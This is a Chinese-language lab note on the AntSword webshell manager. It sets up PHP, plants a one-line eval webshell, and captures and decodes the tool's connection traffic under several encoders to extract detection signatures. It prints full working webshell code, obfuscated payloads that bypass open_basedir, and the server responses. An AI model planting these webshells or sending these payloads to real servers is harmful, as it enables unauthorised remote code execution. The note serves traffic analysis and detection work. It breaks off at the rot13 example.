环境安装
Apatche2 + php
sudo apt install apache2 -y
sudo apt install php libapache2-mod-php php-mysql -y
echo "<?php phpinfo(); ?>" | sudo tee /var/www/html/info.php
sudo ufw allow 'Apache Full'
如果成功访问info.php,则环境安装成功
蚁剑
安装使用
快速使用:获取蚁剑 · 语雀
注意:打开加载器选择目录时,目录为源代码的目录,即选择 antSword-master 目录,选择其他目录可能导致在线下载源代码出现解压失败的情况
将 cd /var/www/html | echo "<?php eval($_POST['ant']); ?"> ant.php ,上传后浏览器访问
php.ini中
display_errors = Off,时无提示
GET /ant.php HTTP/1.1
Host: 127.17.25.244
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
HTTP/1.1 200 OK
Date: Mon, 30 Sep 2024 07:11:50 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
display_errors = On,会提示
Notice: Undefined index: ant in C:\Users\sangfor\Desktop\phpstudy2018\PHPTutorial\WWW\ant.php on line 1
GET /ant.php HTTP/1.1
Host: 10.227.39.34
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Edg/92.0.902.67
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
HTTP/1.1 200 OK
Date: Mon, 30 Sep 2024 07:16:39 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 139
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
<br />
<b>Notice</b>: Undefined index: ant in <b>C:\Users\sangfor\Desktop\phpstudy2018\PHPTutorial\WWW\ant.php</b> on line <b>1</b><br />
流量分析
分析测试连接的数据包
首先使用default编码测试连接
POST /ant.php HTTP/1.1
Host: 10.227.39.34
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; fr-fr) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27
Content-Type: application/x-www-form-urlencoded
Content-Length: 1792
Connection: close
ant=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(base64_decode(%22Lzt8Oi8%3D%22)%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.8de21%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%24tmdir%3Drealpath(%24tmdir)%3B%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22677f%22.%22365bc%22%3Becho%20%40asenc(%24output)%3Becho%20%22d6dcc9%22.%224748ef%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3BHTTP/1.1 200 OK
Date: Mon, 30 Sep 2024 07:19:58 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 173
Connection: close
Content-Type: text/html
677f365bcC:/Users/Desktop/phpstudy2018/PHPTutorial/WWW C:D: Windows NT SANGFOR-PC 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586 sangford6dcc94748ef
请求体进行解码
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
@array_push($oparr, $ocwd, sys_get_temp_dir());
foreach($oparr as $item) {
if (!@is_writable($item)) {
continue;
};
$tmdir = $item.
"/.e7c0d2cbd35";
@mkdir($tmdir);
if (!@file_exists($tmdir)) {
continue;
}
$tmdir = realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr = @preg_split("/\\\\|\//", $tmdir);
for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir("..");
};
@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;
};
};;
function asenc($out) {
return $out;
};
function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "11a5"."3175";
echo@ asenc($output);
echo "f091".
"3b3c";
}
ob_start();
try {
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
$R = "{$D} ";
if (substr($D, 0, 1) != "/") {
foreach(range("C", "Z") as $L) if (is_dir("{$L}:")) $R. = "{$L}:";
} else {
$R. = "/";
}
$R. = " ";
$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
$s = ($u) ? $u["name"] : @get_current_user();
$R. = php_uname();
$R. = " {$s}";
echo $R;;
} catch (Exception $e) {
echo "ERROR://".$e - > getMessage();
};
asoutput();
die();
@ini_set("display_errors", "0"): 函数用于设置 PHP 配置选项。这里将 display_errors 设置为 0,表示不显示错误信息。@ 符号用于抑制可能的错误提示。
@set_time_limit(0):set_time_limit 函数用于设置脚本的最大执行时间。参数为 0 表示不限制执行时间
ini_get 函数用于获取指定的配置选项值。这里获取 open_basedir 的值,open_basedir 用于限制 PHP 脚本可以访问的文件系统路径。如果 open_basedir 设置为 /var/www,则脚本只能访问该目录及其子目录。
dirname 函数返回指定路径的目录部分。这里获取当前脚本的目录。
base64_decode 解码后得到的字符串是 /:/,preg_split 用于根据这个分隔符将 open_basedir 的路径分割成数组。如果 open_basedir 为 /var/www:/tmp,则 $oparr 将为 ['/var/www', '/tmp']
array_push 将当前脚本目录和系统临时目录添加到路径数组中。
is_writable 检查指定路径是否可写。如果可写,则在该路径下创建一个名为 .e7c0d2cbd35 的目录。
realpath 获取目录的绝对路径,chdir 更改当前工作目录到新创建的临时目录。
asoutput(): 这个函数获取输出缓冲区的内容,清空缓冲区,并在输出前后添加一些字符串。
ob_start(); 启动输出缓冲区,后续的输出将被存储在缓冲区中,而不是直接输出。在调用 asoutput 之前,所有的 echo 输出都将被缓冲
$D=dirname($_SERVER["SCRIPT_FILENAME"])
如果脚本在 /var/www/html/script.php,则 $D 为 /var/www/html
特征包含:
@ini_set("display_errors", "0");
与@set_time_limit(0);
使用base_64编码测试连接
POST /ant.php HTTP/1.1
Host: 10.227.39.34
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27
Content-Type: application/x-www-form-urlencoded
Content-Length: 1668
Connection: close
ant=%40eval(%40base64_decode(%24_POST%5B'l41e6548d11f05'%5D))%3B&l41e6548d11f05=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7JG9wZGlyPUBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTtpZigkb3BkaXIpIHskb2N3ZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JG9wYXJyPXByZWdfc3BsaXQoYmFzZTY0X2RlY29kZSgiTHp0OE9pOD0iKSwkb3BkaXIpO0BhcnJheV9wdXNoKCRvcGFyciwkb2N3ZCxzeXNfZ2V0X3RlbXBfZGlyKCkpO2ZvcmVhY2goJG9wYXJyIGFzICRpdGVtKSB7aWYoIUBpc193cml0YWJsZSgkaXRlbSkpe2NvbnRpbnVlO307JHRtZGlyPSRpdGVtLiIvLmRjNDI5IjtAbWtkaXIoJHRtZGlyKTtpZighQGZpbGVfZXhpc3RzKCR0bWRpcikpe2NvbnRpbnVlO30kdG1kaXI9cmVhbHBhdGgoJHRtZGlyKTtAY2hkaXIoJHRtZGlyKTtAaW5pX3NldCgib3Blbl9iYXNlZGlyIiwgIi4uIik7JGNudGFycj1AcHJlZ19zcGxpdCgiL1xcXFx8XC8vIiwkdG1kaXIpO2ZvcigkaT0wOyRpPHNpemVvZigkY250YXJyKTskaSsrKXtAY2hkaXIoIi4uIik7fTtAaW5pX3NldCgib3Blbl9iYXNlZGlyIiwiLyIpO0BybWRpcigkdG1kaXIpO2JyZWFrO307fTs7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiZjVjMjI5Ii4iMDVlMzI5IjtlY2hvIEBhc2VuYygkb3V0cHV0KTtlY2hvICI3MCIuIjljMCI7fW9iX3N0YXJ0KCk7dHJ5eyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGlybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9CSI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQyIsIloiKWFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9ZWxzZXskUi49Ii8iO30kUi49IgkiOyR1PShmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGVnaWQiKSk%2FQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOiIiOyRzPSgkdSk%2FJHVbIm5hbWUiXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Igl7JHN9IjtlY2hvICRSOzt9Y2F0Y2goRXhjZXB0aW9uICRlKXtlY2hvICJFUlJPUjovLyIuJGUtPmdldE1lc3NhZ2UoKTt9O2Fzb3V0cHV0KCk7ZGllKCk7
HTTP/1.1 200 OK
Date: Tue, 15 Oct 2024 02:37:11 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 169
Connection: close
Content-Type: text/html
f5c22905e329C:/Users/Desktop/phpstudy2018/PHPTutorial/WWW C:D: Windows NT SANGFOR-PC 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586 sangfor709c0
base64解码后与上面一样
特征:@eval(@base64_decode($_POST['ied5afd67ff4a5'])); //ied5afd67ff4a5为随机变量
使用chr
POST /ant.php HTTP/1.1
Host: 10.227.39.34
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 10120
Connection: close
ant=%40eVAl(cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116).ChR(40).ChR(34).ChR(100).ChR(105).ChR(115).ChR(112).ChR(108).ChR(97).ChR(121).ChR(95).ChR(101).ChR(114).ChR(114).ChR(111).ChR(114).ChR(115).ChR(34).ChR(44).ChR(32).ChR(34).ChR(48).ChR(34).ChR(41).ChR(59).ChR(64).ChR(115).ChR(101).ChR(116).ChR(95).ChR(116).ChR(105).ChR(109).ChR(101).ChR(95).ChR(108).ChR(105).ChR(109).ChR(105).ChR(116).ChR(40).ChR(48).ChR(41).ChR(59).ChR(36).ChR(111).ChR(112).ChR(100).ChR(105).ChR(114).ChR(61).ChR(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(103).ChR(101).ChR(116).ChR(40).ChR(34).ChR(111).ChR(112).ChR(101).ChR(110).ChR(95).ChR(98).ChR(97).ChR(115).ChR(101).ChR(100).ChR(105).ChR(114).ChR(34).ChR(41).ChR(59).ChR(105).ChR(102).ChR(40).ChR(36).ChR(111).ChR(112).ChR(100).ChR(105).ChR(114).ChR(41).ChR(32).ChR(123).ChR(36).ChR(111).ChR(99).ChR(119).ChR(100).ChR(61).ChR(100).ChR(105).ChR(114).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(36).ChR(95).ChR(83).ChR(69).ChR(82).ChR(86).ChR(69).ChR(82).ChR(91).ChR(34).ChR(83).ChR(67).ChR(82).ChR(73).ChR(80).ChR(84).ChR(95).ChR(70).ChR(73).ChR(76).ChR(69).ChR(78).ChR(65).ChR(77).ChR(69).ChR(34).ChR(93).ChR(41).ChR(59).ChR(36).ChR(111).ChR(112).ChR(97).ChR(114).ChR(114).ChR(61).ChR(112).ChR(114).ChR(101).ChR(103).ChR(95).ChR(115).ChR(112).ChR(108).ChR(105).ChR(116).ChR(40).ChR(98).ChR(97).ChR(115).ChR(101).ChR(54).ChR(52).ChR(95).ChR(100).ChR(101).ChR(99).ChR(111).ChR(100).ChR(101).ChR(40).ChR(34).ChR(76).ChR(122).ChR(116).ChR(56).ChR(79).ChR(105).ChR(56).ChR(61).ChR(34).ChR(41).ChR(44).ChR(36).ChR(111).ChR(112).ChR(100).ChR(105).ChR(114).ChR(41).ChR(59).ChR(64).ChR(97).ChR(114).ChR(114).ChR(97).ChR(121).ChR(95).ChR(112).ChR(117).ChR(115).ChR(104).ChR(40).ChR(36).ChR(111).ChR(112).ChR(97).ChR(114).ChR(114).ChR(44).ChR(36).ChR(111).ChR(99).ChR(119).ChR(100).ChR(44).ChR(115).ChR(121).ChR(115).ChR(95).ChR(103).ChR(101).ChR(116).ChR(95).ChR(116).ChR(101).ChR(109).ChR(112).ChR(95).ChR(100).ChR(105).ChR(114).ChR(40).ChR(41).ChR(41).ChR(59).ChR(102).ChR(111).ChR(114).ChR(101).ChR(97).ChR(99).ChR(104).ChR(40).ChR(36).ChR(111).ChR(112).ChR(97).ChR(114).ChR(114).ChR(32).ChR(97).ChR(115).ChR(32).ChR(36).ChR(105).ChR(116).ChR(101).ChR(109).ChR(41).ChR(32).ChR(123).ChR(105).ChR(102).ChR(40).ChR(33).ChR(64).ChR(105).ChR(115).ChR(95).ChR(119).ChR(114).ChR(105).ChR(116).ChR(97).ChR(98).ChR(108).ChR(101).ChR(40).ChR(36).ChR(105).ChR(116).ChR(101).ChR(109).ChR(41).ChR(41).ChR(123).ChR(99).ChR(111).ChR(110).ChR(116).ChR(105).ChR(110).ChR(117).ChR(101).ChR(59).ChR(125).ChR(59).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(61).ChR(36).ChR(105).ChR(116).ChR(101).ChR(109).ChR(46).ChR(34).ChR(47).ChR(46).ChR(99).ChR(99).ChR(54).ChR(100).ChR(55).ChR(34).ChR(59).ChR(64).ChR(109).ChR(107).ChR(100).ChR(105).ChR(114).ChR(40).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(41).ChR(59).ChR(105).ChR(102).ChR(40).ChR(33).ChR(64).ChR(102).ChR(105).ChR(108).ChR(101).ChR(95).ChR(101).ChR(120).ChR(105).ChR(115).ChR(116).ChR(115).ChR(40).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(41).ChR(41).ChR(123).ChR(99).ChR(111).ChR(110).ChR(116).ChR(105).ChR(110).ChR(117).ChR(101).ChR(59).ChR(125).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(61).ChR(114).ChR(101).ChR(97).ChR(108).ChR(112).ChR(97).ChR(116).ChR(104).ChR(40).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(41).ChR(59).ChR(64).ChR(99).ChR(104).ChR(100).ChR(105).ChR(114).ChR(40).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(41).ChR(59).ChR(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116).ChR(40).ChR(34).ChR(111).ChR(112).ChR(101).ChR(110).ChR(95).ChR(98).ChR(97).ChR(115).ChR(101).ChR(100).ChR(105).ChR(114).ChR(34).ChR(44).ChR(32).ChR(34).ChR(46).ChR(46).ChR(34).ChR(41).ChR(59).ChR(36).ChR(99).ChR(110).ChR(116).ChR(97).ChR(114).ChR(114).ChR(61).ChR(64).ChR(112).ChR(114).ChR(101).ChR(103).ChR(95).ChR(115).ChR(112).ChR(108).ChR(105).ChR(116).ChR(40).ChR(34).ChR(47).ChR(92).ChR(92).ChR(92).ChR(92).ChR(124).ChR(92).ChR(47).ChR(47).ChR(34).ChR(44).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(41).ChR(59).ChR(102).ChR(111).ChR(114).ChR(40).ChR(36).ChR(105).ChR(61).ChR(48).ChR(59).ChR(36).ChR(105).ChR(60).ChR(115).ChR(105).ChR(122).ChR(101).ChR(111).ChR(102).ChR(40).ChR(36).ChR(99).ChR(110).ChR(116).ChR(97).ChR(114).ChR(114).ChR(41).ChR(59).ChR(36).ChR(105).ChR(43).ChR(43).ChR(41).ChR(123).ChR(64).ChR(99).ChR(104).ChR(100).ChR(105).ChR(114).ChR(40).ChR(34).ChR(46).ChR(46).ChR(34).ChR(41).ChR(59).ChR(125).ChR(59).ChR(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116).ChR(40).ChR(34).ChR(111).ChR(112).ChR(101).ChR(110).ChR(95).ChR(98).ChR(97).ChR(115).ChR(101).ChR(100).ChR(105).ChR(114).ChR(34).ChR(44).ChR(34).ChR(47).ChR(34).ChR(41).ChR(59).ChR(64).ChR(114).ChR(109).ChR(100).ChR(105).ChR(114).ChR(40).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(41).ChR(59).ChR(98).ChR(114).ChR(101).ChR(97).ChR(107).ChR(59).ChR(125).ChR(59).ChR(125).ChR(59).ChR(59).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(32).ChR(97).ChR(115).ChR(101).ChR(110).ChR(99).ChR(40).ChR(36).ChR(111).ChR(117).ChR(116).ChR(41).ChR(123).ChR(114).ChR(101).ChR(116).ChR(117).ChR(114).ChR(110).ChR(32).ChR(36).ChR(111).ChR(117).ChR(116).ChR(59).ChR(125).ChR(59).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(32).ChR(97).ChR(115).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(40).ChR(41).ChR(123).ChR(36).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(61).ChR(111).ChR(98).ChR(95).ChR(103).ChR(101).ChR(116).ChR(95).ChR(99).ChR(111).ChR(110).ChR(116).ChR(101).ChR(110).ChR(116).ChR(115).ChR(40).ChR(41).ChR(59).ChR(111).ChR(98).ChR(95).ChR(101).ChR(110).ChR(100).ChR(95).ChR(99).ChR(108).ChR(101).ChR(97).ChR(110).ChR(40).ChR(41).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(48).ChR(57).ChR(102).ChR(50).ChR(51).ChR(34).ChR(46).ChR(34).ChR(56).ChR(55).ChR(100).ChR(53).ChR(53).ChR(34).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(64).ChR(97).ChR(115).ChR(101).ChR(110).ChR(99).ChR(40).ChR(36).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(41).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(99).ChR(49).ChR(53).ChR(56).ChR(48).ChR(34).ChR(46).ChR(34).ChR(52).ChR(50).ChR(98).ChR(55).ChR(52).ChR(34).ChR(59).ChR(125).ChR(111).ChR(98).ChR(95).ChR(115).ChR(116).ChR(97).ChR(114).ChR(116).ChR(40).ChR(41).ChR(59).ChR(116).ChR(114).ChR(121).ChR(123).ChR(36).ChR(68).ChR(61).ChR(100).ChR(105).ChR(114).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(36).ChR(95).ChR(83).ChR(69).ChR(82).ChR(86).ChR(69).ChR(82).ChR(91).ChR(34).ChR(83).ChR(67).ChR(82).ChR(73).ChR(80).ChR(84).ChR(95).ChR(70).ChR(73).ChR(76).ChR(69).ChR(78).ChR(65).ChR(77).ChR(69).ChR(34).ChR(93).ChR(41).ChR(59).ChR(105).ChR(102).ChR(40).ChR(36).ChR(68).ChR(61).ChR(61).ChR(34).ChR(34).ChR(41).ChR(36).ChR(68).ChR(61).ChR(100).ChR(105).ChR(114).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(36).ChR(95).ChR(83).ChR(69).ChR(82).ChR(86).ChR(69).ChR(82).ChR(91).ChR(34).ChR(80).ChR(65).ChR(84).ChR(72).ChR(95).ChR(84).ChR(82).ChR(65).ChR(78).ChR(83).ChR(76).ChR(65).ChR(84).ChR(69).ChR(68).ChR(34).ChR(93).ChR(41).ChR(59).ChR(36).ChR(82).ChR(61).ChR(34).ChR(123).ChR(36).ChR(68).ChR(125).ChR(9).ChR(34).ChR(59).ChR(105).ChR(102).ChR(40).ChR(115).ChR(117).ChR(98).ChR(115).ChR(116).ChR(114).ChR(40).ChR(36).ChR(68).ChR(44).ChR(48).ChR(44).ChR(49).ChR(41).ChR(33).ChR(61).ChR(34).ChR(47).ChR(34).ChR(41).ChR(123).ChR(102).ChR(111).ChR(114).ChR(101).ChR(97).ChR(99).ChR(104).ChR(40).ChR(114).ChR(97).ChR(110).ChR(103).ChR(101).ChR(40).ChR(34).ChR(67).ChR(34).ChR(44).ChR(34).ChR(90).ChR(34).ChR(41).ChR(97).ChR(115).ChR(32).ChR(36).ChR(76).ChR(41).ChR(105).ChR(102).ChR(40).ChR(105).ChR(115).ChR(95).ChR(100).ChR(105).ChR(114).ChR(40).ChR(34).ChR(123).ChR(36).ChR(76).ChR(125).ChR(58).ChR(34).ChR(41).ChR(41).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(123).ChR(36).ChR(76).ChR(125).ChR(58).ChR(34).ChR(59).ChR(125).ChR(101).ChR(108).ChR(115).ChR(101).ChR(123).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(47).ChR(34).ChR(59).ChR(125).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(9).ChR(34).ChR(59).ChR(36).ChR(117).ChR(61).ChR(40).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(95).ChR(101).ChR(120).ChR(105).ChR(115).ChR(116).ChR(115).ChR(40).ChR(34).ChR(112).ChR(111).ChR(115).ChR(105).ChR(120).ChR(95).ChR(103).ChR(101).ChR(116).ChR(101).ChR(103).ChR(105).ChR(100).ChR(34).ChR(41).ChR(41).ChR(63).ChR(64).ChR(112).ChR(111).ChR(115).ChR(105).ChR(120).ChR(95).ChR(103).ChR(101).ChR(116).ChR(112).ChR(119).ChR(117).ChR(105).ChR(100).ChR(40).ChR(64).ChR(112).ChR(111).ChR(115).ChR(105).ChR(120).ChR(95).ChR(103).ChR(101).ChR(116).ChR(101).ChR(117).ChR(105).ChR(100).ChR(40).ChR(41).ChR(41).ChR(58).ChR(34).ChR(34).ChR(59).ChR(36).ChR(115).ChR(61).ChR(40).ChR(36).ChR(117).ChR(41).ChR(63).ChR(36).ChR(117).ChR(91).ChR(34).ChR(110).ChR(97).ChR(109).ChR(101).ChR(34).ChR(93).ChR(58).ChR(64).ChR(103).ChR(101).ChR(116).ChR(95).ChR(99).ChR(117).ChR(114).ChR(114).ChR(101).ChR(110).ChR(116).ChR(95).ChR(117).ChR(115).ChR(101).ChR(114).ChR(40).ChR(41).ChR(59).ChR(36).ChR(82).ChR(46).ChR(61).ChR(112).ChR(104).ChR(112).ChR(95).ChR(117).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(41).ChR(59).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(9).ChR(123).ChR(36).ChR(115).ChR(125).ChR(34).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(36).ChR(82).ChR(59).ChR(59).ChR(125).ChR(99).ChR(97).ChR(116).ChR(99).ChR(104).ChR(40).ChR(69).ChR(120).ChR(99).ChR(101).ChR(112).ChR(116).ChR(105).ChR(111).ChR(110).ChR(32).ChR(36).ChR(101).ChR(41).ChR(123).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(69).ChR(82).ChR(82).ChR(79).ChR(82).ChR(58).ChR(47).ChR(47).ChR(34).ChR(46).ChR(36).ChR(101).ChR(45).ChR(62).ChR(103).ChR(101).ChR(116).ChR(77).ChR(101).ChR(115).ChR(115).ChR(97).ChR(103).ChR(101).ChR(40).ChR(41).ChR(59).ChR(125).ChR(59).ChR(97).ChR(115).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(40).ChR(41).ChR(59).ChR(100).ChR(105).ChR(101).ChR(40).ChR(41).ChR(59))%3BHTTP/1.1 200 OK
Date: Tue, 15 Oct 2024 02:47:09 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 172
Connection: close
Content-Type: text/html
09f2387d55C:/Users/Desktop/phpstudy2018/PHPTutorial/WWW C:D: Windows NT SANGFOR-PC 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586 sangforc158042b74
chr解码后与上面一样
特征:eVAl(cHr(64).ChR(105)
chr16
POST /ant.php HTTP/1.1
Host: 10.227.39.34
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 11882
Connection: close
ant=%40eVAl(cHr(0x40).ChR(0x69).ChR(0x6e).ChR(0x69).ChR(0x5f).ChR(0x73).ChR(0x65).ChR(0x74).ChR(0x28).ChR(0x22).ChR(0x64).ChR(0x69).ChR(0x73).ChR(0x70).ChR(0x6c).ChR(0x61).ChR(0x79).ChR(0x5f).ChR(0x65).ChR(0x72).ChR(0x72).ChR(0x6f).ChR(0x72).ChR(0x73).ChR(0x22).ChR(0x2c).ChR(0x20).ChR(0x22).ChR(0x30).ChR(0x22).ChR(0x29).ChR(0x3b).ChR(0x40).ChR(0x73).ChR(0x65).ChR(0x74).ChR(0x5f).ChR(0x74).ChR(0x69).ChR(0x6d).ChR(0x65).ChR(0x5f).ChR(0x6c).ChR(0x69).ChR(0x6d).ChR(0x69).ChR(0x74).ChR(0x28).ChR(0x30).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x6f).ChR(0x70).........
HTTP/1.1 200 OK
Date: Tue, 15 Oct 2024 02:53:03 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 167
Connection: close
Content-Type: text/html
c0a4c1C:/Users/Desktop/phpstudy2018/PHPTutorial/WWW C:D: Windows NT SANGFOR-PC 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586 sangfora478436fc
rot13
POST /ant.php HTTP/1.1
Host: 10.227.39.34
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Content-Length: 1871
